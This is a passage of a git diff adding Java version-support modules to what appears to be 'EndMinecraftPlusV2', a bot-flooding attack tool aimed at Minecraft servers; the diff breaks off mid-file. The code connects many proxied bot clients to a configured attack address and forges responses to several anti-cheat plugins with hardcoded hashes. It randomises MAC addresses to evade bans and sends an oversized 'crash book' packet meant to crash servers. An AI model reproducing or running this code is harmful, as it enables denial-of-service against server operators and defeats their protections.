LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setReadTimeout(Math.toIntExact(timeout));
|
||||
c.getSession().setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
}
|
@ -0,0 +1,349 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_12_2;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.CatAntiCheat.CatAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.google.gson.JsonElement;
|
||||
import com.google.gson.JsonObject;
|
||||
import org.spacehq.mc.protocol.data.game.ClientRequest;
|
||||
import org.spacehq.mc.protocol.data.game.entity.metadata.ItemStack;
|
||||
import org.spacehq.mc.protocol.data.game.entity.player.Hand;
|
||||
import org.spacehq.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import org.spacehq.mc.protocol.data.game.setting.SkinPart;
|
||||
import org.spacehq.mc.protocol.data.message.Message;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.*;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerHealthPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import org.spacehq.opennbt.NBTIO;
|
||||
import org.spacehq.opennbt.tag.builtin.CompoundTag;
|
||||
import org.spacehq.opennbt.tag.builtin.ListTag;
|
||||
import org.spacehq.opennbt.tag.builtin.StringTag;
|
||||
import org.spacehq.opennbt.tag.builtin.Tag;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ServerPluginMessagePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
case "CatAntiCheat":
|
||||
case "catanticheat:data":
|
||||
if (ConfigUtil.CatAntiCheat) {
|
||||
CatAntiCheat.packetHandle(session, packet.getData(), username);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ServerJoinGamePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerPositionRotationPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ServerChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Message message = chatPacket.getMessage();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ServerKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerKeepAlivePacket serverKeepAlivePacket = (ServerKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerHealthPacket serverPlayerHealthPacket = (ServerPlayerHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientChatPacket chatPacket = new ClientChatPacket(text);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientTabCompletePacket clientTabCompletePacket = new ClientTabCompletePacket(cmd, true);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
try {
|
||||
ItemStack crashBook = getCrashBook();
|
||||
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
|
||||
out.writeShort(crashBook.getId());
|
||||
out.writeByte(crashBook.getAmount());
|
||||
out.writeShort(crashBook.getData());
|
||||
|
||||
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
|
||||
|
||||
byte[] crashData = buf.toByteArray();
|
||||
|
||||
sendClientPluginMessagePacket(session, "MC|BEdit", crashData);
|
||||
sendClientPluginMessagePacket(session, "MC|BSign", crashData);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) packet;
|
||||
return chatPacket.getMessage();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return getTextFromJson(msg.toJson());
|
||||
}
|
||||
|
||||
private static String getTextFromJson(JsonElement element) {
|
||||
StringBuilder textBuilder = new StringBuilder();
|
||||
if (element.isJsonObject()) {
|
||||
JsonObject obj = element.getAsJsonObject();
|
||||
|
||||
boolean hasTranslate = obj.has("translate");
|
||||
String translate = hasTranslate ? obj.get("translate").getAsString() : "";
|
||||
if (hasTranslate && !translate.contains("chat.type")) {
|
||||
return translate;
|
||||
}
|
||||
if (obj.has("text")) {
|
||||
textBuilder.append(obj.get("text").getAsString());
|
||||
}
|
||||
if (obj.has("extra")) {
|
||||
for (JsonElement extraElement : obj.getAsJsonArray("extra")) {
|
||||
textBuilder.append(getTextFromJson(extraElement));
|
||||
}
|
||||
}
|
||||
if (obj.has("with")) {
|
||||
// 记录 "with" 数组元素以便之后处理
|
||||
ArrayList<String> withElementsText = new ArrayList<>();
|
||||
for (JsonElement withElement : obj.getAsJsonArray("with")) {
|
||||
withElementsText.add(getTextFromJson(withElement));
|
||||
}
|
||||
// 对 "with" 数组的处理,添加适当的分隔符
|
||||
if (!withElementsText.isEmpty()) {
|
||||
// 添加第一个元素,并包围以方括号
|
||||
textBuilder.append("[").append(withElementsText.get(0)).append("]");
|
||||
// 如果有更多元素,这些应该跟随在后面,并用空格分隔
|
||||
for (int i = 1; i < withElementsText.size(); i++) {
|
||||
textBuilder.append(" ").append(withElementsText.get(i));
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (element.isJsonArray()) {
|
||||
for (JsonElement arrElement : element.getAsJsonArray()) {
|
||||
textBuilder.append(getTextFromJson(arrElement));
|
||||
}
|
||||
}
|
||||
return textBuilder.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Message msg = (Message) message;
|
||||
for (Message extra : msg.getExtra()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent().getValue();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getExtra() != null && !msg.getExtra().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ClientPluginMessagePacket clientPluginMessagePacket = new ClientPluginMessagePacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ClientSettingsPacket clientSettingsPacket = new ClientSettingsPacket(locale, 8, ChatVisibility.FULL, true, SkinPart.values(), Hand.MAIN_HAND);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ClientPlayerChangeHeldItemPacket clientPlayerChangeHeldItemPacket = new ClientPlayerChangeHeldItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ClientPlayerPositionRotationPacket clientPlayerPositionRotationPacket = new ClientPlayerPositionRotationPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ClientPlayerMovementPacket clientPlayerMovementPacket = new ClientPlayerMovementPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ClientKeepAlivePacket packet = new ClientKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
|
||||
public static ItemStack getCrashBook() {
|
||||
ItemStack crashBook;
|
||||
CompoundTag nbtTag = new CompoundTag("crashBook");
|
||||
List<Tag> pageList = new ArrayList<>();
|
||||
|
||||
// Plain Mode
|
||||
nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20)));
|
||||
nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20)));
|
||||
|
||||
for (int a = 0; a < 35; a++) {
|
||||
pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600)));
|
||||
}
|
||||
|
||||
nbtTag.put(new ListTag("pages", pageList));
|
||||
crashBook = new ItemStack(386, 1, 0, nbtTag);
|
||||
|
||||
return crashBook;
|
||||
}
|
||||
}
|
23
VersionSupport-P1_13_X/VersionSupport-P1_13_X.iml
Normal file
23
VersionSupport-P1_13_X/VersionSupport-P1_13_X.iml
Normal file
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MC-1.13.2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,174 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_13_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge.MCForge;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import org.spacehq.mc.protocol.MinecraftProtocol;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.event.session.*;
|
||||
import org.spacehq.packetlib.tcp.TcpSessionFactory;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory(proxy));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
new MCForge(client.getSession(), ConfigUtil.ForgeModList).init();
|
||||
}
|
||||
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
Client client = (Client) c;
|
||||
client.getSession().disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
new MCForge(client.getSession(), ConfigUtil.ForgeModList).init();
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setReadTimeout(Math.toIntExact(timeout));
|
||||
c.getSession().setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
}
|
@ -0,0 +1,300 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_13_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.CatAntiCheat.CatAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.google.gson.JsonElement;
|
||||
import com.google.gson.JsonObject;
|
||||
import org.spacehq.mc.protocol.data.game.ClientRequest;
|
||||
import org.spacehq.mc.protocol.data.game.entity.player.Hand;
|
||||
import org.spacehq.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import org.spacehq.mc.protocol.data.game.setting.SkinPart;
|
||||
import org.spacehq.mc.protocol.data.message.Message;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.*;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerHealthPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.Session;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ServerPluginMessagePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
case "CatAntiCheat":
|
||||
case "catanticheat:data":
|
||||
if (ConfigUtil.CatAntiCheat) {
|
||||
CatAntiCheat.packetHandle(session, packet.getData(), username);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ServerJoinGamePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerPositionRotationPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
